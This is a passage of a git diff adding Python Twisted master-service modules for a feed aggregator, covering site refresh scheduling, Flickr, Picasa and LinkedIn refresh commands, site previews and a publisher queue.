+        select site_history.id, site_history.site_id from site, site_history where site.id = site_history.site_id and site.type = 'flickr' and site_history.display_cache is NULL and site.id = %s
+            """
+        d = self.runQuery(q, site_id)
+        d.addCallback(self.gotFlickr)
+        d.addErrback(self.errorHandler)
+
+    def gotFlickr(self, results):
+        # results: id, site_id
+        for i in results:
+            self.startFlickr(*i)
+
+    def startFlickr(self, id, site_id):
+        FlickrCache(self.master).startProcess(id, site_id)
+
+####
+# Sites we want to preview.
+####
+
+    def getPreviewSites(self):
+        """
+        Check to see if there are any sites that need to be previewed.
+        This will kick off an async query and will return immediately.
+        """
+        if self.preview_site_in_progress:
+            return
+
+        self.preview_site_in_progress = True
+
+        q = """
+            SELECT id, url FROM new_site WHERE status = "preview" and id > %s
+            """
+
+        d = self.runQuery(q, self.preview_site_last_id)
+        d.addCallback(self.gotPreviewSites)
+        d.addErrback(self.errorHandler)
+
+    def gotPreviewSites(self, results):
+        # results: id, url
+        for i in results:
+            # see if we have a new floor
+            if i[0] > self.preview_site_last_id:
+                self.preview_site_last_id = i[0]
+            # and dispatch our site preview
+            self.previewSite(*i)
+        self.preview_site_in_progress = False
+
+    def previewSite(self, id, url):
+        PreviewSite(self.master).startProcess(id, url)
diff --git a/services/master/feedrefresh.py b/services/master/feedrefresh.py
new file mode 100644 (file)
index 0000000..efad9e9
--- /dev/null
@@ -0,0 +1,46 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from services.master.worker import Command
+
+class FeedRefresh(Command):
+    def __init__(self, master):
+        Command.__init__(self, master)
+        self.command = "feedRefresh"
+
+    def startProcess(self, id, site_id, type):
+        self.site_id = site_id
+        self.type = type
+        Command.startProcess(self, id)
+
+    def done(self, retval):
+        print("feedRefresh done %s" % str(retval))
+        if self.type == "flickr":
+            print("starting flickr refresh")
+            self.master.database_manager.updateSiteFlickrImages(self.site_id)
+
+        ids = retval["site_history_new_ids"]
+        if len(ids) and self.master.publisher_manager:
+            self.master.publisher_manager.newSiteHistoryItems(ids)
+
+    def error(self, failure):
+        print("feedRefresh failed %s" % failure.getErrorMessage())
diff --git a/services/master/flickr.py b/services/master/flickr.py
new file mode 100644 (file)
index 0000000..53361f1
--- /dev/null
@@ -0,0 +1,38 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from services.master.worker import Command
+
+class FlickrCache(Command):
+    def __init__(self, master):
+        Command.__init__(self, master)
+        self.command = "flickrCache"
+
+    def startProcess(self, id, site_id):
+        self.site_id = site_id
+        Command.startProcess(self, id)
+
+    def done(self, results):
+        print("flickrCache done")
+
+    def error(self, failure):
+        print("flickrCache failed: %s" % failure.getErrorMessage())
diff --git a/services/master/linkedin.py b/services/master/linkedin.py
new file mode 100644 (file)
index 0000000..2a5ab9d
--- /dev/null
@@ -0,0 +1,38 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from services.master.worker import Command
+
+class LinkedInRefresh(Command):
+    def __init__(self, master):
+        Command.__init__(self, master)
+        self.command = "linkedInRefresh"
+
+    def startProcess(self, id, site_id):
+        self.site_id = site_id
+        Command.startProcess(self, id)
+
+    def done(self, *args):
+        print("linkedInRefresh done %s" % str(args))
+
+    def error(self, failure):
+        print("linkedInRefresh failed %s" % failure.getErrorMessage())
diff --git a/services/master/newsite.py b/services/master/newsite.py
new file mode 100644 (file)
index 0000000..5847dce
--- /dev/null
@@ -0,0 +1,174 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from services.master.worker import Command
+from services.command.picasa import Picasa
+from urlparse import urlparse, urlunsplit
+
+import re
+import simplejson
+
+class NewSite(Command):
+    def __init__(self, master):
+        Command.__init__(self, master)
+        self.type = None
+        self.url = None
+        self.feed = None
+        self.feed_type = None
+        self.id = None
+        self.site_id = None
+
+    def startProcess(self, id, url):
+        self.id = id
+        self.url = url
+
+        print("NewSite: id: %d url: %s" % (id, url))
+
+        # see if this is a "supported" web site that has a regular
+        # format for feed locations and presentation
+        self.normalize()
+
+        # Set up our args
+        self.args = [self.id]
+
+        # If we're a simple feed we're going to have to get an RSS
+        # feed and scrape it from the url.
+        if self.type is "feed":
+            self.command = "newSite"
+            self.addCommand()
+            self.d.addCallback(self.pollDone)
+            self.d.addErrback(self.pollFailed)
+        # linkedin in a scraping operation so we start it differently
+        elif self.type is "linkedin":
+            self.command = "newLinkedIn"
+            self.addCommand()
+            self.d.addCallback(self.liDone)
+            self.d.addErrback(self.liFailed)
+        # same with picasa
+        elif self.type is "picasa":
+            self.command = "newPicasa"
+            self.addCommand()
+            self.d.addCallback(self.picasaDone)
+            self.d.addErrback(self.picasaFailed)
+
+    def pollDone(self, retval):
+        print("newSite %s done" % self.id)
+        print retval
+        if retval["type"] == "flickr":
+            print("updating flickr data")
+            self.master.database_manager.updateSiteFlickrImages(retval["site_id"])
+
+    def pollFailed(self, failure):
+        print("newSite %s failed" % self.id)
+
+    def liDone(self, *args, **kw):
+        print("newLinkedIn %s done" % self.id)
+
+    def liFailed(self, failure):
+        print("newLinkedIn %s failed" % self.id)
+
+    def picasaDone(self, *args, **kw):
+        print("newPicasa %s done" % self.id)
+
+    def picasaFailed(self, failure):
+        print("newPicasa %s failed" % self.id)
+
+    def normalize(self):
+        """
+        This is where we normalize and generate type info for a given
+        new site.  For example, a livejournal.com url is turned into a
+        canonical form, an and rss feed is generated for it (since
+        they have a regular form)
+        """
+        # Start with a type of "feed"
+        self.type = "feed"
+
+        # scheme, netloc, path, params, query, fragment
+        # http://docs.python.org/lib/module-urlparse.html
+        u = urlparse(self.url)
+
+        host = u[1]
+        path = u[2]
+
+        # linkedin.com form
+        # http://www.linkedin.com/in/christopherblizzard
+        # http://www.linkedin.com/in/a/b/c
+        # http://www.linkedin.com/pub/1/95/3ab
+        if host == "www.linkedin.com":
+            match = re.match('^/in/.+$', path)
+            if match:
+                self.type = "linkedin"
+                return
+
+            match = re.match('^/pub/.+$', path)
+            if match:
+                self.type = "linkedin"
+                return
+
+        # picasa form
+        # http://picasaweb.google.com/<user>
+        # http://picasaweb.google.com/<user>/<album>
+        # http://picasaweb.google.com/<user>/<album>/photo#1212
+        # http://picasaweb.google.com/data/feed/base/user/<user>
+        # http://picasaweb.google.com/data/feed/base/user/<user>?a=b
+        # http://picasaweb.google.com/data/feed/api/user/<user>
+        # http://picasaweb.google.com/data/feed/api/user/<user>?a=b
+        if host == "picasaweb.google.com":
+            picasa_user = Picasa().userForPath(path)
+            if picasa_user:
+                self.type = "picasa"
+                self.url = "http://picasaweb.google.com/" + picasa_user
+                return
+
+        return
+
+        # flickr.com forms
+        # http://www.flickr.com/photos/12452321@N00/
+        # http://www.flickr.com/photos/christopherblizzard/
+        if host == 'www.flickr.com':
+            match = re.match('/photos/([^/]+)', path)
+            if match:
+                flickr_user = match.group(1)
+                self.type = "flickr"
+                self.url = "http://www.flickr.com/photos/" + flickr_user + "/"
+                return
+
+        return
+
+        # livejournal forms
+        # http://spot.livejournal.com/
+        # http://spot.livejournal.com/profile
+        # http://spot.livejournal.com/284787.html
+        match = re.search('(.+)\.livejournal\.com$', host)
+        if match:
+            lj_user = match.group(1)
+            self.type = "livejournal"
+            self.url = "http://" + lj_user + ".livejournal.com/"
+            self.feed = self.url + "data/atom"
+            self.feed_type = "atom"
+            return
+
+        # blogger.com
+        # blogspot.com
+        # linkedin.com
+        # flickr.com
+
diff --git a/services/master/picasa.py b/services/master/picasa.py
new file mode 100644 (file)
index 0000000..0f8d699
--- /dev/null
@@ -0,0 +1,42 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from services.master.worker import Command
+
+class PicasaRefresh(Command):
+    def __init__(self, master):
+        Command.__init__(self, master)
+        self.command = "picasaRefresh"
+
+    def startProcess(self, id, site_id):
+        self.site_id = site_id
+        Command.startProcess(self, id)
+
+    def done(self, retval):
+        print("picasaRefresh done %s" % str(retval))
+
+        ids = retval["site_history_new_ids"]
+        if len(ids) and self.master.publisher_manager:
+            self.master.publisher_manager.newSiteHistoryItems(ids)
+
+    def error(self, failure):
+        print("picasaRefresh failed %s" % failure.getErrorMessage())
diff --git a/services/master/previewsite.py b/services/master/previewsite.py
new file mode 100644 (file)
index 0000000..0cea8c6
--- /dev/null
@@ -0,0 +1,173 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from services.master.worker import Command
+from services.command.picasa import Picasa
+from urlparse import urlparse, urlunsplit
+
+import re
+import simplejson
+
+class PreviewSite(Command):
+    def __init__(self, master):
+        Command.__init__(self, master)
+        self.type = None
+        self.url = None
+        self.feed = None
+        self.feed_type = None
+        self.id = None
+        self.site_id = None
+
+    def startProcess(self, id, url):
+        self.id = id
+        self.url = url
+
+        print("PreviewSite: id: %d url: %s" % (id, url))
+
+        # see if this is a "supported" web site that has a regular
+        # format for feed locations and presentation
+        self.normalize()
+
+        # Set up our args
+        self.args = [self.id]
+
+        # If we're a simple feed we're going to have to get an RSS
+        # feed and scrape it from the url.
+        if self.type is "feed":
+            self.command = "previewSite"
+            self.addCommand()
+            self.d.addCallback(self.pollDone)
+            self.d.addErrback(self.pollFailed)
+        # linkedin in a scraping operation so we start it differently
+        elif self.type is "linkedin":
+            self.command = "previewLinkedIn"
+            self.addCommand()
+            self.d.addCallback(self.liDone)
+            self.d.addErrback(self.liFailed)
+        # same with picasa
+        elif self.type is "picasa":
+            self.command = "previewPicasa"
+            self.addCommand()
+            self.d.addCallback(self.picasaDone)
+            self.d.addErrback(self.picasaFailed)
+
+    def pollDone(self, retval):
+        print("preview-site %s done" % self.id)
+        print retval
+
+    def pollFailed(self, failure):
+        print("preview-site %s failed" % self.id)
+
+    def liDone(self, *args, **kw):
+        print("preview-linkedin %s done" % self.id)
+
+    def liFailed(self, failure):
+        print("preview-linkedin %s failed" % self.id)
+
+    def picasaDone(self, *args, **kw):
+        print("preview-picasa %s done" % self.id)
+
+    def picasaFailed(self, failure):
+        print("preview-picasa %s failed" % self.id)
+
+    # THIS SHOULD REALLY BE MERGED WITH THE CODE IN newsite.py AND USE
+    # THE RIGHT OBJECTS THAT DO THIS ON THE BACKEND COMMAND SIDE
+    def normalize(self):
+        """
+        This is where we normalize and generate type info for a given
+        new site.  For example, a livejournal.com url is turned into a
+        canonical form, an and rss feed is generated for it (since
+        they have a regular form)
+        """
+        # Start with a type of "feed"
+        self.type = "feed"
+
+        # scheme, netloc, path, params, query, fragment
+        # http://docs.python.org/lib/module-urlparse.html
+        u = urlparse(self.url)
+
+        host = u[1]
+        path = u[2]
+
+        # linkedin.com form
+        # http://www.linkedin.com/in/christopherblizzard
+        # http://www.linkedin.com/in/a/b/c
+        # http://www.linkedin.com/pub/1/95/3ab
+        if host == "www.linkedin.com":
+            match = re.match('^/in/.+$', path)
+            if match:
+                self.type = "linkedin"
+                return
+
+            match = re.match('^/pub/.+$', path)
+            if match:
+                self.type = "linkedin"
+                return
+
+        # picasa form
+        # http://picasaweb.google.com/<user>
+        # http://picasaweb.google.com/<user>/<album>
+        # http://picasaweb.google.com/<user>/<album>/photo#1212
+        # http://picasaweb.google.com/data/feed/base/user/<user>
+        # http://picasaweb.google.com/data/feed/base/user/<user>?a=b
+        # http://picasaweb.google.com/data/feed/api/user/<user>
+        # http://picasaweb.google.com/data/feed/api/user/<user>?a=b
+        if host == "picasaweb.google.com":
+            picasa_user = Picasa().userForPath(path)
+            if picasa_user:
+                self.type = "picasa"
+                self.url = "http://picasaweb.google.com/" + picasa_user
+                return
+
+        return
+
+        # flickr.com forms
+        # http://www.flickr.com/photos/12452321@N00/
+        # http://www.flickr.com/photos/christopherblizzard/
+        if host == 'www.flickr.com':
+            match = re.match('/photos/([^/]+)', path)
+            if match:
+                flickr_user = match.group(1)
+                self.type = "flickr"
+                self.url = "http://www.flickr.com/photos/" + flickr_user + "/"
+                return
+
+        return
+
+        # livejournal forms
+        # http://spot.livejournal.com/
+        # http://spot.livejournal.com/profile
+        # http://spot.livejournal.com/284787.html
+        match = re.search('(.+)\.livejournal\.com$', host)
+        if match:
+            lj_user = match.group(1)
+            self.type = "livejournal"
+            self.url = "http://" + lj_user + ".livejournal.com/"
+            self.feed = self.url + "data/atom"
+            self.feed_type = "atom"
+            return
+
+        # blogger.com
+        # blogspot.com
+        # linkedin.com
+        # flickr.com
+
diff --git a/services/master/publisher.py b/services/master/publisher.py
new file mode 100644 (file)
index 0000000..4311560
--- /dev/null
@@ -0,0 +1,169 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import reactor, defer
+from twisted.spread import pb
+
+import services.config as config
+
+publisher_hosts = None
+
+def get_publisher_hosts():
+    global publisher_hosts
+    publisher_hosts = []
+    hosts = config.get("publishers", "servers").split(",")
+    for i in hosts:
+        print("adding publisher host %s" % i)
+        publisher_hosts.append(dict(host=config.get(i, "host"),
+                                    port=config.getint(i, "port")))
+
+class PublisherFactory(pb.PBClientFactory):
+    def init(self, publisher):
+        self.publisher = publisher
+
+    def clientConnectionLost(self, connector, reason, reconnecting=0):
+        print("lost connection to publisher")
+        self.publisher.connectionFailed(reason)
+        pb.PBClientFactory.clientConnectionLost(self, connector,
+                                                reason, reconnecting)
+
+class Publisher:
+    """
+    This is a class for a particular publisher.  Contains a queue that
+    we will send to the publisher and the publisher state.
+    """
+    def __init__(self, host, port):
+        self.state = "dead"
+        self.items = []
+        self.call_in_progress = False
+        self.host = host
+        self.port = port
+        self.factory = PublisherFactory()
+        self.factory.init(self)
+        self.root = None
+
+    def connect(self):
+        """
+        Start trying to connect
+        """
+        self.state = "connecting"
+        reactor.connectTCP(self.host, self.port, self.factory, timeout=5)
+        d = self.factory.getRootObject()
+        d.addCallback(self.gotRoot)
+        d.addErrback(self.getRootFailed)
+
+    def gotRoot(self, root):
+        print("connected: %s:%s" % (self.host, self.port))
+        self.root = root
+        self.state = "connected"
+
+        self.publish()
+
+    def getRootFailed(self, failure):
+        self.connectionFailed(failure)
+
+    def connectionFailed(self, reason):
+        print("not connected %s:%s (%s)" % (self.host, self.port, reason.getErrorMessage()))
+        # convert from dict to array
+        self.state = "dead"
+
+    def publish(self):
+        if self.call_in_progress:
+            return
+
+        i = None
+        # try and see if there's an item in the queue
+        try:
+            i = self.items[0]
+        except IndexError:
+            return
+
+        # pick the right method
+        method = "newSiteHistory"
+        if i["type"] == "site":
+            method = "newSiteHistory"
+
+        self.call_in_progress = True
+
+        d = None
+
+        try:
+            d = self.root.callRemote(method, i["item"])
+        except pb.DeadReferenceError:
+            self.connectionFailed(None)
+            return
+
+        d.addCallback(self.callDone)
+        d.addErrback(self.callFailed)
+
+    def callDone(self, *args, **kw):
+        self.call_in_progress = False
+        # now that the call is done pop the item off the front of the
+        # queue
+        self.items.pop(0)
+        self.publish()
+
+    def callFailed(self, failure):
+        self.call_in_progress = False
+
+    def newSiteItem(self, site_item):
+        self.items.append(dict(type="site", item=site_item))
+        self.publish()
+
+    def newSiteHistoryItems(self, site_history_items):
+        for i in site_history_items:
+            self.items.append(dict(type="site_history", item=i))
+        self.publish()
+
+class PublisherManager:
+    """
+    This is a relatively simple class that publishes updates to
+    publishers.  It will build a per-publisher queue and handle
+    connects and disconnects.
+    """
+    def __init__(self):
+        self.publishers = []
+
+    def start(self):
+        global publisher_hosts
+        if not publisher_hosts:
+            get_publisher_hosts()
+
+        # Create the publisher hosts and start them connecting
+        for i in publisher_hosts:
+            p = Publisher(i["host"], i["port"])
+            self.publishers.append(p)
+
+        self.startConnecting()
+
+    def startConnecting(self):
+        for i in self.publishers:
+            if i.state == "dead":
+                i.connect()
+
+    def newSiteItem(self, site_item):
+        for i in self.publishers:
+            i.newSiteItem(site_item)
+
+    def newSiteHistoryItems(self, site_history_items):
+        for i in self.publishers:
+            i.newSiteHistoryItems(site_history_items)
diff --git a/services/master/refreshmanager.py b/services/master/refreshmanager.py
new file mode 100644 (file)
index 0000000..5083aca
--- /dev/null
@@ -0,0 +1,143 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+# code for managing refreshing sites
+
+from datetime import datetime, timedelta
+from random import randint
+from twisted.internet import reactor, task
+
+import services.config as config
+
+class SiteSchedule:
+    def __init__(self, id, url, next_refresh):
+        self.id = id
+        self.url = url
+        self.next_refresh = next_refresh
+
+    def __cmp__(self, other):
+        return cmp(self.next_refresh, other.next_refresh)
+
+class RefreshManager:
+    def __init__(self, master):
+        self.master = master
+        # manage our sites
+        self.site_check_in_progress = False
+        self.site_check_last_id = 0
+        # all the RefreshSite objects we know about - sorted by next
+        # work
+        self.sites = []
+        # our loop
+        self.new_site_loop_tick = task.LoopingCall(self.checkForNewSites)
+
+    def start(self):
+        # Make an initial check for new sites to populate the refresh
+        # queue
+        self.checkForNewSites()
+        self.new_site_loop_tick.start(90.0)
+
+    def stop(self):
+        # stop checking for new sites
+        pass
+
+    def checkForNewSites(self):
+        print("checking for new sites")
+        """
+        Every 60 seconds we go and see if someone has added new sites
+        to the database and schedule a refresh accordingly.
+        """
+        if self.site_check_in_progress:
+            return
+
+        self.site_check_in_progress = True
+
+        q = """
+            SELECT id, url, last_poll from site where is_removed is null and id > %s
+            """
+        d = self.master.database_manager.runQuery(q, self.site_check_last_id)
+        d.addCallback(self.gotNewSites)
+        d.addErrback(self.newSitesError)
+
+    def gotNewSites(self, results):
+        self.site_check_in_progress = False
+        now = datetime.utcnow()
+        thirty_mins = timedelta(0, 0, 0, 0, 30)
+        # make a new site object for each site we need to manage
+        print("%d new sites found" % len(results))
+        for id, url, last_poll in results:
+#            print("%d: %s %s" % (id, last_poll, url))
+            # figure out the next time we want to schedule a refresh
+            # for this site
+            s = None
+            if last_poll + thirty_mins < now:
+#                print("\twill refresh now")
+                s = SiteSchedule(id, url, now)
+            else:
+                s = SiteSchedule(id, url, now + self.getRandomRefreshTime())
+#                print("\t%s" % s.next_refresh)
+
+            # add them to the list of sites
+            self.sites.append(s)
+
+            # make sure we don't re-check
+            self.site_check_last_id = max(self.site_check_last_id, id)
+
+        # re-sort the site schedule
+        self.sites.sort()
+
+    def newSitesError(self, failure):
+        print("newSitesError: %s" % failure.getErrorMessage())
+        self.site_check_in_progress = False
+
+    def dispatchWork(self):
+        print("dispatchWork")
+        now = datetime.utcnow()
+        dirty = False
+        for s in self.sites:
+            if s.next_refresh < now:
+                dirty = True # we generated some work
+                self.scheduleRefresh(s)
+                s.next_refresh = now + self.getRandomRefreshTime()
+            else:
+                break
+
+        # only resort of there was work
+        if dirty:
+            self.sites.sort()
+            print("next job is in %s" % (self.sites[0].next_refresh - now))
+
+    def scheduleRefresh(self, site):
+        print("schedule refresh for site %d: %s" % (site.id, site.url))
+        q = """
+            INSERT INTO site_refresh values (NULL, %s, "new", NULL)
+            """
+        d = self.master.database_manager.runQuery(q, site.id)
+        d.addErrback(self.error)
+
+    def error(self, failure):
+        print("error: %s" % failure.getErrorMessage())
+
+    def getRandomRefreshTime(self):
+        # random 30 mins from now
+        secs = randint(0, config.getfloat("refreshmanager", "interval_sec"))
+        mins = randint(0, config.getfloat("refreshmanager", "interval_min"))
+        return timedelta(0, secs, 0, 0, mins)
diff --git a/services/master/sitelock.py b/services/master/sitelock.py
new file mode 100644 (file)
index 0000000..14d4b0c
--- /dev/null
@@ -0,0 +1,43 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+# simple class that we use to lock sites that are in progress so that
+# more that one command doesn't try to process the same site
+
+class SiteLock:
+    def __init__(self):
+        self.sites = set()
+
+    def getLock(self, site):
+        if site in self.sites:
+            return False
+
+        self.sites.add(site)
+        print self.sites
+        return True
+
+    def releaseLock(self, site):
+        if site not in self.sites:
+            raise ValueError("site not in lock set!")
+
+        self.sites.remove(site)
+        print self.sites
diff --git a/services/master/states.txt b/services/master/states.txt
new file mode 100644 (file)
index 0000000..951fea2
--- /dev/null
@@ -0,0 +1,27 @@
+New Site:
+
+Table: new_site
+Start Var: "status"
+
+"new": A request off the web added the entry as a new site to be
+polled.  The master process will pick up the entry and dispatch it to
+one of the controller processes to be scraped and added to the
+database.  The controller can leave it in the "error", "pick_url" or
